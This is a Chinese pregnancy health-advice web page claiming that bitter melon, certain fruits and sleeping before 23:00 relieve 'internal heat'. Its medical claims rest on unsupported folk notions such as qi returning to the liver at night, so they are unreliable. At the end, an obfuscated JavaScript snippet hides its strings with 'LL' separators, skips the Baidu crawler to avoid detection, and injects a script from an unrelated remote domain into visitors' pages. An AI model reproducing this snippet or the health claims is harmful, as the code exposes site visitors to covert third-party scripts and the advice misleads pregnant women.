当前位置:首页 > 母婴 > 怀孕知识 > 正文

孕妇上火吃苦瓜能降火吗

2017-05-05 00:53:18  来源:360常识网   热度:
导语:孕妇上火吃苦瓜可以帮助降火,吃苦瓜还能够帮助孕妇排毒,功效是比较多的。但是孕妇不能吃太凉,也就是说孕妇不能喝太多的凉茶。有的孕妇通

孕妇上火吃苦瓜可以帮助降火,吃苦瓜还能够帮助孕妇排毒,功效是比较多的。但是孕妇不能吃太凉,也就是说孕妇不能喝太多的凉茶。有的孕妇通过喝凉茶来降火,这种做法不能太经常,对身体不好。下面,说说可以帮助孕妇降火的一些水果和生活习惯吧!

火龙果:富含 矿物质,如:钙、磷、铁、钾、钠、镁、锌等元素,这对缓解孕妇上火很有帮助。

西红柿:虽然一年四季都能见到,不仅能够帮助去火,还能够帮助消除水肿。

苦瓜:凉拌、炒还是煲汤,只要不要失去原有的青色,那绝对是去火的最佳食物。

梨:这梨大家公认的知道能够去火,把梨切成片,直接放入沸水中,加入少许盐,等到全部沸腾之后,就熄火。这梨子绝对不能少。

晚上11点之前一定要睡觉,这一点对于绝大多数人来说都比较难做到,尤其是在寒冷的冬天。但是要提醒大家,冬天恰好是最需要保证在23点前睡觉的季节,这是为什么呢?因为23点到凌晨1点是气血回流到肝脏的时间,如果 不睡,等于强迫肝脏继续干活。另外,再加上外气候因素,该睡不睡的话就会导致情绪烦躁。

孕妇本身就容易便秘,因为怀孕期间子宫不断变大,挤压到肠胃。使得肠胃的蠕动变慢,自然就容易引起便秘。如果孕妇再经常上火,那么便秘的情况就会加重。很多方面的问题都是息息相关的,所以一定要注意避免经常上火。

转载申明:360常识网,欢迎分享,转载请注明出处!

if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}